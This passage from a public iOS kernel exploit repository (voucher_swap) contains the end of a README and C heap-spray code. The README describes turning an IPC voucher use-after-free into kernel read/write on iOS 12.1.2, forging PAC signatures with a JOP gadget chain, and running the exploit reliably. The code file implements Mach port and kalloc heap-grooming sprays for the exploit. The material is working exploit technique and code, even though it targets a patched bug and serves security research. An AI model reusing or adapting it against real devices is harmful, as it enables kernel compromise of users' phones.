a fake ipc_port overlapping our pipe buffers. 225 | 226 | Our next step is to determine which pair of pipe file descriptors corresponds to the pipe buffer. 227 | Since we set each possible fake port's ip_kotype bits earlier while spraying pipe buffers, we can 228 | use mach_port_kobject() to retrieve the fake port's ip_kotype and determine the overlapping pipe. 229 | And at this point, we can now inspect and modify our fake port by reading and writing the pipe's 230 | contents. 231 | 232 | We can now discard all the filler ports and pipes we allocated earlier, since they're no longer 233 | needed. 234 | 235 | Our next step is to build a kernel memory read primitive. Although we have a send right to an 236 | ipc_port overlapping our pipe buffer, we don't actually know the address of our pipe buffer in 237 | kernel memory. And if we want to use the pid_for_task() trick to read memory, we'll need to build a 238 | fake task struct at a known address so that we can make our fake port's ip_kobject field point to 239 | it. So our next goal should be to find the address of our pipe buffer. 240 | 241 | Unfortunately, unlike prior exploits that have produced a dangling port, we only have a send right 242 | to our fake port, not a receive right. This means we have few options for modifying the port's 243 | state in such a way that it stores a pointer inside the ipc_port struct that allows us to determine 244 | its address. 245 | 246 | One thing we can do is call mach_port_request_notification() to generate a request that a dead name 247 | notification for the fake port be delivered to the base port. This will cause the kernel to 248 | allocate an array in the fake port's ip_requests field and store a pointer to the base port inside 249 | that array. Thus, we only need a single 8-byte read to get the address of the base port, and since 250 | the base port is at a fixed offset from the fake port (determined by how many times we incremented 251 | the freed voucher's iv_refs field), we can use the address of the base port to calculate the 252 | address of our pipe buffer. 253 | 254 | Of course, that means that in order to build our arbitrary read primitive, we need ... another 255 | arbitrary read primitive. So why is this helpful? Because our first read primitive will leak memory 256 | every time we use it while the second one will not. 257 | 258 | The problem we need to resolve in order to use pid_for_task() to read kernel memory is that we need 259 | to get a fake task struct whose bsd_info field points to the address we want to read at a known 260 | address in kernel memory. One way to do that is to simply send a Mach message containing our fake 261 | task struct to the fake port, and then read out the port's ip_messages.imq_messages field via the 262 | pipe to get the address of the ipc_kmsg struct containing the message. Then we can compute the 263 | address of the fake task inside the ipc_kmsg and rewrite the fake port to be a task port pointing 264 | to the fake task, allowing us to call pid_for_task() to read 4 bytes of kernel memory. 265 | 266 | Using this technique, we can read the value of the base port pointer in the ip_requests array and 267 | then compute the address of the fake port and the containing pipe buffer. And once we know the 268 | address of the pipe buffer, we can create the fake task by writing to our pipe to avoid leaking 269 | memory on each read. 270 | 271 | Now that we have a stable kernel read primitive, we can find the address of the host port and read 272 | out the host port's ip_receiver field to get the address of the kernel's ipc_space. 273 | 274 | I then borrow Ian's technique of iterating through all the ipc_port elements in the host port's 275 | zalloc block looking for the kernel task port. Once we find the kernel task port, we can read the 276 | ip_kobject field to get the kernel task, and reading the task's map field gives us the kernel's 277 | vm_map. 278 | 279 | At this point we have everything we need to build a fake kernel task inside our pipe buffer, giving 280 | us the ability to read and write kernel memory using mach_vm_read() and mach_vm_write(). 281 | 282 | The next step is to build a permanent fake kernel task port. We allocate some kernel memory with 283 | mach_vm_allocate() and then write a new fake kernel task into that allocation. We then modify the 284 | fake port's ipc_entry in our task so that it points to the new fake kernel task, which allows us to 285 | clean up the remaining resources safely. 286 | 287 | We remove the extra reference on the base port, destroy the voucher port allocated by the call to 288 | thread_get_mach_voucher() on the freed voucher, deallocate the ip_requests array, and destroy the 289 | leaked ipc_kmsg structs used during our first kernel read primitive. 290 | 291 | This leaves us with a stable system and a fake kernel task port with which we can read and write 292 | kernel memory. 293 | 294 | ---- Kernel function calling / PAC bypass --------------------------------------------------------- 295 | 296 | In order to call kernel functions I use the iokit_user_client_trap() technique. This works without 297 | modification on non-PAC devices, but on PAC-enabled devices like the iPhone XS we need to do a 298 | little extra work. 299 | 300 | First we get a handle to an IOAudio2DeviceUserClient. Since the container sandbox usually prevents 301 | us from accessing this class, we briefly replace our proc's credentials with the kernel proc's 302 | credentials to bypass the sandbox check. 303 | 304 | Once we have an IOAudio2DeviceUserClient, we read the value of the user client's trap field, which 305 | points to a heap-allocated IOExternalTrap object. Then, to call an arbitrary kernel function, we 306 | simply overwrite the trap to point to the target function and then call IOConnectTrap6() from 307 | userspace. 308 | 309 | This technique has several limitations at this stage: we only control the values of registers X1 - 310 | X6, the return value gets truncated to 32 bits, and the function pointer that we call must already 311 | have a valid PACIZA signature (that is, a PAC signature using the A-instruction key with context 312 | 0). Thus, we'll need to find a way to generate PACIZA signatures on arbitrary functions. 313 | 314 | As it turns out, one way to do this is to call the module destructor for the com.apple.nke.lttp 315 | kext. There is already a PACIZA'd pointer to the function l2tp_domain_module_stop() in kernel 316 | memory, so we already have the ability to call it. And as the final step in tearing down the 317 | module, l2tp_domain_module_stop() calls sysctl_unregister_oid() on the sysctl__net_ppp_l2tp global 318 | sysctl_oid struct, which resides in writable memory. And on PAC-enabled systems, 319 | sysctl_unregister_oid() executes the following instruction sequence on the sysctl_oid struct: 320 | 321 | LDR X10, [X9,#0x30]! ;; X10 = old_oidp->oid_handler 322 | CBNZ X19, loc_FFFFFFF007EBD330 323 | CBZ X10, loc_FFFFFFF007EBD330 324 | MOV X19, #0 325 | MOV X11, X9 ;; X11 = &oid_handler 326 | MOVK X11, #0x14EF,LSL#48 ;; X11 = 14EF`&oid_handler 327 | AUTIA X10, X11 ;; X10 = AUTIA(oid_handler, 14EF`&handler) 328 | PACIZA X10 ;; X10 = PACIZA(X10) 329 | STR X10, [X9] ;; old_oidp->oid_handler = X10 330 | 331 | That means that the field sysctl__net_ppp_l2tp->oid_handler will be replaced with the value 332 | PACIZA(AUTIA(sysctl__net_ppp_l2tp->oid_handler, )). 333 | 334 | Clearly we can't forge PACIA signatures at this point, so AUTIA will fail and produce an invalid 335 | pointer value. This isn't NULL or some constant sentinel, but rather is the XPAC'd value with two 336 | of the pointer extension bits replaced with an error code to make the resulting pointer invalid. 337 | And this is interesting because when PACIZA is used to sign a pointer with invalid extension bits, 338 | what actually happens is that first the corrected pointer is signed and then one bit of the PAC 339 | signature is flipped, rendering it invalid. 340 | 341 | What this means for us is that even though sysctl__net_ppp_l2tp->oid_handler was not originally 342 | signed, this gadget overwrites the field with a value that is only one bit different from a valid 343 | PACIZA signature, allowing us to compute the true PACIZA signature. And if we use this gadget to 344 | sign a pointer to a JOP gadget like "mov x0, x4 ; br x5", then we can execute any kernel function 345 | we want with up to 4 arguments. 346 | 347 | We then use the signed "mov x0, x4 ; br x5" gadget to build a PACIA-signing primitive. There are a 348 | small number of possible PACIA gadgets, of which we use one that starts: 349 | 350 | PACIA X9, X10 351 | STR X9, [X2,#0xF0] 352 | 353 | In order to use this gadget, we execute the following JOP program: 354 | 355 | X1 = &"MOV X10, X3 ; BR X6" 356 | X2 = KERNEL_BUFFER 357 | X3 = CONTEXT 358 | X4 = POINTER 359 | X5 = &"MOV X9, X0 ; BR X1" 360 | X6 = &"PACIA X9, X10 ; STR X9, [X2,#0xF0]" 361 | PC = PACIA("MOV X0, X4 ; BR X5") 362 | 363 | MOV X0, X4 364 | BR X5 365 | 366 | MOV X9, X0 367 | BR X1 368 | 369 | MOV X10, X3 370 | BR X6 371 | 372 | PACIA X9, X10 373 | STR X9, [X2,#0xF0] 374 | 375 | This leaves us with the PACIA'd pointer in kernel memory, which we can read back using our read 376 | primitive. Thus, we can now perform arbitrary PACIA forgeries. And using a similar technique with a 377 | PACDA gadget, we can produce PACDA forgeries. 378 | 379 | All that's left is to get control over X0 when doing a function call. We read in the 380 | IOAudio2DeviceUserClient's vtable and use our forgery gadgets to replace 381 | IOAudio2DeviceUserClient::getTargetAndTrapForIndex() with IOUserClient::getTargetAndTrapForIndex() 382 | and replace IOUserClient::getExternalTrapForIndex() with IORegistryEntry::getRegistryEntryID(). 383 | Then we overwrite the user client's registry entry ID field with a pointer to the IOExternalTrap. 384 | Finally we write the patched vtable into allocated kernel memory and replace the user client's 385 | vtable pointer with a forged pointer to our fake vtable. 386 | 387 | And at this point we now have the ability to call arbitrary kernel functions with up to 7 arguments 388 | using the iokit_user_client_trap() technique, just like on non-PAC devices. 389 | 390 | ---- Running the exploit -------------------------------------------------------------------------- 391 | 392 | For best results, reboot the device and wait a few seconds before running the exploit. I've seen 393 | reliability above 99.5% on my devices after a fresh boot (the completed exploit has never failed 394 | for me). 395 | 396 | Running the exploit twice without rebooting will almost certainly panic, since it will mess up the 397 | heap groom and possibly result in base port having a too-large address. 398 | 399 | After getting kernel read/write and setting up kernel function calling, the exploit will trigger a 400 | panic by calling an invalid address with special values in registers X0 - X6 to demonstrate that 401 | function calling is successful. 402 | 403 | ---- Platforms ------------------------------------------------------------------------------------ 404 | 405 | I've tested on an iPhone 8, iPhone XR, and iPhone XS running iOS 12.1.2. You can add support for 406 | other devices in the files voucher_swap/parameters.c and voucher_swap/kernel_call/kc_parameters.c. 407 | The exploit currently assumes a 16K kernel page size, although it should be possible to remove this 408 | requirement. The PAC bypass also relies on certain gadgets which may be different on other versions 409 | or devices. 410 | 411 | This vulnerability was fixed in iOS 12.1.3, released January 22, 2019: 412 | https://support.apple.com/en-us/HT209443 413 | 414 | ---- Other exploits ------------------------------------------------------------------------------- 415 | 416 | This bug was independently discovered and exploited by Qixun Zhao (@S0rryMybad) as part of a remote 417 | jailbreak. He developed a clever exploit strategy that reallocates the voucher with OSStrings; you 418 | can read about it here: 419 | http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20(EN).html 420 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_alloc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_alloc.c 3 | * Brandon Azad 4 | */ 5 | #include "kernel_alloc.h" 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "log.h" 15 | #include "parameters.h" 16 | 17 | // Compute the minimum of 2 values. 18 | #define min(a, b) ((a) < (b) ? (a) : (b)) 19 | 20 | size_t 21 | message_size_for_kalloc_size(size_t kalloc_size) { 22 | if (kalloc_size <= kmsg_zone_size) { 23 | return 0; 24 | } 25 | // Thanks Ian! 26 | return ((3 * kalloc_size) / 4) - 0x74; 27 | } 28 | 29 | size_t 30 | kalloc_size_for_message_size(size_t message_size) { 31 | if (message_size <= message_size_for_kmsg_zone) { 32 | return 0; 33 | } 34 | return message_size + ((message_size - 28) / 12) * 4 + 164; 35 | } 36 | 37 | size_t 38 | ipc_kmsg_size_for_message_size(size_t message_size) { 39 | if (message_size <= message_size_for_kmsg_zone) { 40 | return kmsg_zone_size; 41 | } 42 | return kalloc_size_for_message_size(message_size); 43 | } 44 | 45 | // A message containing out-of-line ports. 46 | struct ool_ports_msg { 47 | mach_msg_header_t header; 48 | mach_msg_body_t body; 49 | mach_msg_ool_ports_descriptor_t ool_ports[0]; 50 | }; 51 | 52 | size_t 53 | ool_ports_spray_port(mach_port_t holding_port, 54 | const mach_port_t *ool_ports, size_t port_count, 55 | mach_msg_type_name_t ool_disposition, size_t ool_count, 56 | size_t message_size, size_t message_count) { 57 | // Calculate the size of each component. 58 | struct ool_ports_msg *msg; 59 | // Sanity checks. 60 | assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size); 61 | assert(port_count * ool_count <= max_ool_ports_per_message); 62 | assert(message_count <= MACH_PORT_QLIMIT_MAX); 63 | // Allocate a message containing the required number of OOL ports descriptors. 64 | msg = calloc(1, message_size); 65 | assert(msg != NULL); 66 | // Trace the kalloc allocations we're about to perform. 67 | DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__, 68 | ool_count * message_count, port_count * sizeof(uint64_t), 69 | message_count, kalloc_size_for_message_size(message_size)); 70 | // If the user didn't supply any ool_ports, create our own. 71 | mach_port_t *alloc_ports = NULL; 72 | if (ool_ports == NULL) { 73 | alloc_ports = calloc(port_count, sizeof(mach_port_t)); 74 | assert(alloc_ports != NULL); 75 | ool_ports = alloc_ports; 76 | } 77 | // Populate the message. Each OOL ports descriptor will be a kalloc. 78 | msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); 79 | msg->header.msgh_remote_port = holding_port; 80 | msg->header.msgh_size = (mach_msg_size_t) message_size; 81 | msg->header.msgh_id = 'ools'; 82 | msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count; 83 | mach_msg_ool_ports_descriptor_t ool_descriptor = {}; 84 | ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 85 | ool_descriptor.address = (void *) ool_ports; 86 | ool_descriptor.count = (mach_msg_size_t) port_count; 87 | ool_descriptor.deallocate = FALSE; 88 | ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY; 89 | ool_descriptor.disposition = ool_disposition; 90 | for (size_t i = 0; i < ool_count; i++) { 91 | msg->ool_ports[i] = ool_descriptor; 92 | } 93 | // Send the messages. 94 | size_t messages_sent = 0; 95 | for (; messages_sent < message_count; messages_sent++) { 96 | kern_return_t kr = mach_msg( 97 | &msg->header, 98 | MACH_SEND_MSG | MACH_MSG_OPTION_NONE, 99 | (mach_msg_size_t) message_size, 100 | 0, 101 | MACH_PORT_NULL, 102 | MACH_MSG_TIMEOUT_NONE, 103 | MACH_PORT_NULL); 104 | if (kr != KERN_SUCCESS) { 105 | ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); 106 | break; 107 | } 108 | } 109 | // Clean up the allocated ports. 110 | if (alloc_ports != NULL) { 111 | free(alloc_ports); 112 | } 113 | // Return the number of messages we sent. 114 | return messages_sent; 115 | } 116 | 117 | /* 118 | * kalloc_spray_compute_message_shape 119 | * 120 | * Description: 121 | * Compute the shape of a message to maximally spray the specified kalloc zone. This spray is 122 | * good for consuming memory, not for overwriting memory with specific contents. 123 | */ 124 | static void 125 | kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone, 126 | size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) { 127 | assert(kmsg_zone_size < kalloc_min); 128 | assert(kalloc_min <= kalloc_zone); 129 | // We always want to maximize the number of OOL port kalloc allocations per message, so let 130 | // the message take up the a full zone element if needed. 131 | size_t max_message_size = message_size_for_kalloc_size(kalloc_zone); 132 | // Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message, 133 | // we always want to send the minimum number of OOL ports in each descriptor (since adding 134 | // more ports in a descriptor only counts against the limit without increasing the number 135 | // of allocations). Thus, use the smallest number of ports that gets us at least 136 | // kalloc_min. 137 | size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t); 138 | // How many OOL ports descriptors can we send per message? As many as we'd like, as long 139 | // as: 140 | // 1. we have space for them in the message, and 141 | // 2. we don't blow through the max_ool_ports_per_message limit. 142 | size_t max_ools_by_message_size = 143 | (max_message_size - sizeof(mach_msg_base_t)) 144 | / sizeof(mach_msg_ool_ports_descriptor_t); 145 | size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_; 146 | size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit); 147 | // Now that we know how many OOL ports descriptors we can send per message, let's calculate 148 | // the message size. If the message size is too small, we'll just round it up. 149 | size_t message_size_ = sizeof(mach_msg_base_t) 150 | + ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t); 151 | assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone); 152 | if (kalloc_size_for_message_size(message_size_) < kalloc_min) { 153 | size_t kalloc_min_rounded = (kalloc_min + 15) & ~15; 154 | message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3; 155 | } 156 | assert(kalloc_min <= kalloc_size_for_message_size(message_size_)); 157 | assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone); 158 | // Return the values. 159 | *message_size = message_size_; 160 | *ools_per_message = ools_per_message_; 161 | *ports_per_ool = ports_per_ool_; 162 | } 163 | 164 | size_t 165 | kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone, 166 | size_t kalloc_count) { 167 | // First compute the message shape for spraying the specified zone. 168 | size_t message_size, ools_per_message, ports_per_ool; 169 | kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone, 170 | &message_size, &ools_per_message, &ports_per_ool); 171 | assert(min_kalloc_size <= kalloc_size_for_message_size(message_size)); 172 | assert(kalloc_size_for_message_size(message_size) <= kalloc_zone); 173 | assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t)); 174 | assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone); 175 | assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size); 176 | // How many allocations does each message we send give us? Well, there's 1 allocation for 177 | // the message and 1 allocation for each OOL ports descriptor. 178 | size_t kallocs_per_message = 1 + ools_per_message; 179 | // How many full/partial messages will we need to spray kalloc_count allocations? If the 180 | // number of full messages is greater than the queue limit, truncate to that many messages. 181 | size_t full_message_count = kalloc_count / kallocs_per_message; 182 | size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message; 183 | if (full_message_count >= MACH_PORT_QLIMIT_MAX) { 184 | full_message_count = MACH_PORT_QLIMIT_MAX; 185 | partial_message_kalloc_count = 0; 186 | } 187 | // Alright, so now we have all the parameters we need. Spray all the full messages to the 188 | // port. 189 | DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, " 190 | "%zu ports per descriptor, %zu kallocs (%zu bytes) per message", 191 | __func__, full_message_count, ools_per_message, ports_per_ool, 192 | kallocs_per_message, kallocs_per_message * kalloc_zone); 193 | size_t full_messages_sent = ool_ports_spray_port( 194 | holding_port, 195 | NULL, 196 | ports_per_ool, 197 | MACH_MSG_TYPE_MAKE_SEND, 198 | ools_per_message, 199 | message_size, 200 | full_message_count); 201 | size_t full_messages_kallocs = full_messages_sent * kallocs_per_message; 202 | // If we sent all the full messages (indicating no errors were encountered) and we also 203 | // want to send a partial message, send that. 204 | size_t partial_message_kallocs = 0; 205 | if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) { 206 | size_t partial_message_ools = partial_message_kalloc_count - 1; 207 | size_t partial_messages_sent = ool_ports_spray_port( 208 | holding_port, 209 | NULL, 210 | ports_per_ool, 211 | MACH_MSG_TYPE_MAKE_SEND, 212 | partial_message_ools, 213 | message_size, 214 | 1); 215 | partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count; 216 | } 217 | // Finally, return the total number of kallocs stashed in our port. 218 | assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count); 219 | return full_messages_kallocs + partial_message_kallocs; 220 | } 221 | 222 | size_t 223 | kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count, 224 | size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) { 225 | size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone; 226 | size_t count = *port_count; 227 | // Spray to each of the ports in turn. 228 | size_t kallocs_left = kallocs_needed; 229 | size_t ports_used = 0; 230 | for (; ports_used < count && kallocs_left > 0; ports_used++) { 231 | size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used], 232 | min_kalloc_size, kalloc_zone, kallocs_left); 233 | assert(kallocs_done <= kallocs_left); 234 | kallocs_left -= kallocs_done; 235 | } 236 | // Compute how many kallocs were actually performed. 237 | size_t kallocs_done = kallocs_needed - kallocs_left; 238 | if (kallocs_left > 0) { 239 | WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone); 240 | } 241 | // Return the number of ports actually used and the number of bytes actually sprayed. 242 | *port_count = ports_used; 243 | return kallocs_done * kalloc_zone; 244 | } 245 | 246 | mach_port_t * 247 | create_ports(size_t count) { 248 | mach_port_t *ports = calloc(count, sizeof(*ports)); 249 | assert(ports != NULL); 250 | mach_port_options_t options = {}; 251 | for (size_t i = 0; i < count; i++) { 252 | kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]); 253 | assert(kr == KERN_SUCCESS); 254 | } 255 | return ports; 256 | } 257 | 258 | void 259 | destroy_ports(mach_port_t *ports, size_t count) { 260 | for (size_t i = 0; i < count; i++) { 261 | mach_port_t port = ports[i]; 262 | if (MACH_PORT_VALID(port)) { 263 | kern_return_t kr = mach_port_destroy(mach_task_self(), port); 264 | if (kr != KERN_SUCCESS) { 265 | ERROR("%s returned %d: %s", "mach_port_destroy", 266 | kr, mach_error_string(kr)); 267 | } 268 | } 269 | ports[i] = MACH_PORT_DEAD; 270 | } 271 | } 272 | 273 | void 274 | deallocate_ports(mach_port_t *ports, size_t count) { 275 | for (size_t i = 0; i < count; i++) { 276 | mach_port_t port = ports[i]; 277 | if (MACH_PORT_VALID(port)) { 278 | kern_return_t kr = mach_port_deallocate(mach_task_self(), port); 279 | if (kr != KERN_SUCCESS) { 280 | ERROR("%s returned %d: %s", "mach_port_deallocate", 281 | kr, mach_error_string(kr)); 282 | } 283 | } 284 | ports[i] = MACH_PORT_DEAD; 285 | } 286 | } 287 | 288 | void 289 | port_increase_queue_limit(mach_port_t port) { 290 | mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX }; 291 | kern_return_t kr = mach_port_set_attributes( 292 | mach_task_self(), 293 | port, 294 | MACH_PORT_LIMITS_INFO, 295 | (mach_port_info_t) &limits, 296 | MACH_PORT_LIMITS_INFO_COUNT); 297 | assert(kr == KERN_SUCCESS); 298 | } 299 | 300 | void 301 | port_insert_send_right(mach_port_t port) { 302 | kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port, 303 | MACH_MSG_TYPE_MAKE_SEND); 304 | assert(kr == KERN_SUCCESS); 305 | } 306 | 307 | /* 308 | * ool_ports_spray_size_with_gc_compute_parameters 309 | * 310 | * Description: 311 | * Compute the spray parameters for ool_ports_spray_size_with_gc(). 312 | */ 313 | static void 314 | ool_ports_spray_size_with_gc_compute_parameters( 315 | size_t ports_per_ool, size_t message_size, size_t spray_size, 316 | size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) { 317 | // Each message will contain no more than gc_step bytes of OOL ports. 318 | const size_t max_ool_memory_per_message = gc_step; 319 | // How many OOL ports descriptors can we send per message? As many as we'd like, as long 320 | // as: 321 | // 1. we aren't sending more than gc_step bytes of OOL ports in a message, 322 | // 2. we have space for them in the message, and 323 | // 3. we don't blow through the max_ool_ports_per_message limit. 324 | size_t ool_size_ = ports_per_ool * sizeof(uint64_t); 325 | size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_; 326 | size_t max_ools_by_message_size = 327 | (message_size - sizeof(mach_msg_base_t)) 328 | / sizeof(mach_msg_ool_ports_descriptor_t); 329 | size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool; 330 | size_t ools_per_message_ = min(max_ools_by_memory, 331 | min(max_ools_by_message_size, max_ools_by_port_limit)); 332 | // How many OOL port descriptors will we need to spray? Enough to fill all the requested 333 | // memory. 334 | size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_; 335 | // Return the parameters. 336 | *ool_size = ool_size_; 337 | *ools_per_message = ools_per_message_; 338 | *ools_needed = ools_needed_; 339 | } 340 | 341 | size_t 342 | ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count, 343 | size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count, 344 | mach_msg_type_name_t ool_disposition, size_t spray_size) { 345 | // Compute the parameters for the spray. 346 | size_t ool_size, ools_per_message, ools_needed; 347 | ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size, 348 | &ool_size, &ools_per_message, &ools_needed); 349 | // Spray to each of the ports in turn until we've created the requisite number of OOL ports 350 | // allocations. 351 | ssize_t ools_left = ools_needed; 352 | size_t sprayed = 0; 353 | size_t next_gc_step = 0; 354 | size_t port_count = *holding_port_count; 355 | size_t ports_used = 0; 356 | for (; ports_used < port_count && ools_left > 0; ports_used++) { 357 | // Spray this port one message at a time until we've maxed out its queue. 358 | size_t messages_sent = 0; 359 | for (; messages_sent < (kCFCoreFoundationVersionNumber >= 1535.12 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) { 360 | // If we've crossed the GC sleep boundary, sleep for a bit and schedule the 361 | // next one. 362 | if (sprayed >= next_gc_step) { 363 | next_gc_step += gc_step; 364 | pthread_yield_np(); 365 | usleep(10000); 366 | fprintf(stderr, "."); 367 | } 368 | // Send a message. 369 | size_t sent = ool_ports_spray_port( 370 | holding_ports[ports_used], 371 | ool_ports, 372 | ool_port_count, 373 | ool_disposition, 374 | ools_per_message, 375 | message_size, 376 | 1); 377 | // If we couldn't send a message to this port, stop trying to send more 378 | // messages and move on to the next port. 379 | if (sent != 1) { 380 | assert(sent == 0); 381 | break; 382 | } 383 | // We sent a full message worth of OOL port descriptors. 384 | sprayed += ools_per_message * ool_size; 385 | ools_left -= ools_per_message; 386 | } 387 | } 388 | fprintf(stderr, "\n"); 389 | // Return the number of ports actually used and the number of bytes actually sprayed. 390 | *holding_port_count = ports_used; 391 | return sprayed; 392 | } 393 | 394 | void 395 | port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) { 396 | kern_return_t kr; 397 | mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT 398 | | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) 399 | | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL); 400 | // Allocate an initial message buffer. 401 | mach_msg_size_t msg_size = 0x4000; 402 | mach_msg_base_t *msg = malloc(msg_size); 403 | assert(msg != NULL); 404 | // Loop through all the messages queued on the port. 405 | for (;;) { 406 | // Try to receive the message. If the buffer isn't big enough, reallocate 407 | // and try again. This should only happen twice. 408 | for (size_t try = 0;; try++) { 409 | assert(try < 2); 410 | // Receive the message. 411 | kr = mach_msg( 412 | &msg->header, 413 | options, 414 | 0, 415 | msg_size, 416 | port, 417 | 0, 418 | MACH_PORT_NULL); 419 | if (kr != MACH_RCV_LARGE) { 420 | break; 421 | } 422 | // The buffer was too small, increase it. 423 | msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options); 424 | free(msg); 425 | msg = malloc(msg_size); 426 | assert(msg != NULL); 427 | } 428 | // If we got an error, stop processing messages on this port. If the error is a 429 | // timeout, that means that we've exhausted the queue, so don't print an error 430 | // message. 431 | if (kr != KERN_SUCCESS) { 432 | if (kr != MACH_RCV_TIMED_OUT) { 433 | ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); 434 | } 435 | break; 436 | } 437 | // Pass the message to the message handler. 438 | message_handler(&msg->header); 439 | } 440 | // Clean up resources. 441 | free(msg); 442 | } 443 | 444 | void 445 | port_discard_messages(mach_port_t port) { 446 | port_drain_messages(port, ^(mach_msg_header_t *header) { 447 | mach_msg_destroy(header); 448 | }); 449 | } 450 | 451 | void 452 | ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count, 453 | void (^ool_ports_handler)(mach_port_t *, size_t)) { 454 | // Loop through all the ports. 455 | for (size_t port_index = 0; port_index < holding_port_count; port_index++) { 456 | // Handle each message on the port. 457 | port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) { 458 | struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0; 459 | // We've successfully received a message. Make sure it's the type we 460 | // expect. 461 | if (msg->header.msgh_id != 'ools') { 462 | WARNING("received unexpected message id 0x%x", 463 | msg->header.msgh_id); 464 | goto done; 465 | } 466 | if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) { 467 | WARNING("skipping non-complex message"); 468 | goto done; 469 | } 470 | // Go through the descriptors one at a time passing them to the handler 471 | // block. 472 | mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0]; 473 | for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) { 474 | void *next; 475 | switch (d->type.type) { 476 | case MACH_MSG_OOL_PORTS_DESCRIPTOR: 477 | next = &d->ool_ports + 1; 478 | mach_port_t *ports = (mach_port_t *) 479 | d->ool_ports.address; 480 | size_t count = d->ool_ports.count; 481 | ool_ports_handler(ports, count); 482 | break; 483 | default: 484 | WARNING("unexpected descriptor type %u", 485 | d->type.type); 486 | goto done; 487 | } 488 | d = (mach_msg_descriptor_t *)next; 489 | } 490 | done: 491 | // Discard the message. 492 | mach_msg_destroy(&msg->header); 493 | }); 494 | } 495 | } 496 | 497 | void 498 | increase_file_limit_voucher() { 499 | struct rlimit rl = {}; 500 | int error = getrlimit(RLIMIT_NOFILE, &rl); 501 | assert(error == 0); 502 | rl.rlim_cur = 10240; 503 | rl.rlim_max = rl.rlim_cur; 504 | error = setrlimit(RLIMIT_NOFILE, &rl); 505 | if (error != 0) { 506 | ERROR("could not increase file limit"); 507 | } 508 | error = getrlimit(RLIMIT_NOFILE, &rl); 509 | assert(error == 0); 510 | if (rl.rlim_cur != 10240) { 511 | ERROR("file limit is %llu", rl.rlim_cur); 512 | } 513 | } 514 | 515 | void 516 | pipe_close(int pipefds[2]) { 517 | close(pipefds[0]); 518 | close(pipefds[1]); 519 | } 520 | 521 | /* 522 | * set_nonblock 523 | * 524 | * Description: 525 | * Set the O_NONBLOCK flag on the specified file descriptor. 526 | */ 527 | static void 528 | set_nonblock(int fd) { 529 | int flags = fcntl(fd, F_GETFL); 530 | flags |= O_NONBLOCK; 531 | fcntl(fd, F_SETFL, flags); 532 | } 533 | 534 | int * 535 | create_pipes(size_t *pipe_count) { 536 | // Allocate our initial array. 537 | size_t capacity = *pipe_count; 538 | int *pipefds = calloc(2 * capacity, sizeof(int)); 539 | assert(pipefds != NULL); 540 | // Create as many pipes as we can. 541 | size_t count = 0; 542 | for (; count < capacity; count++) { 543 | // First create our pipe fds. 544 | int fds[2] = { -1, -1 }; 545 | int error = pipe(fds); 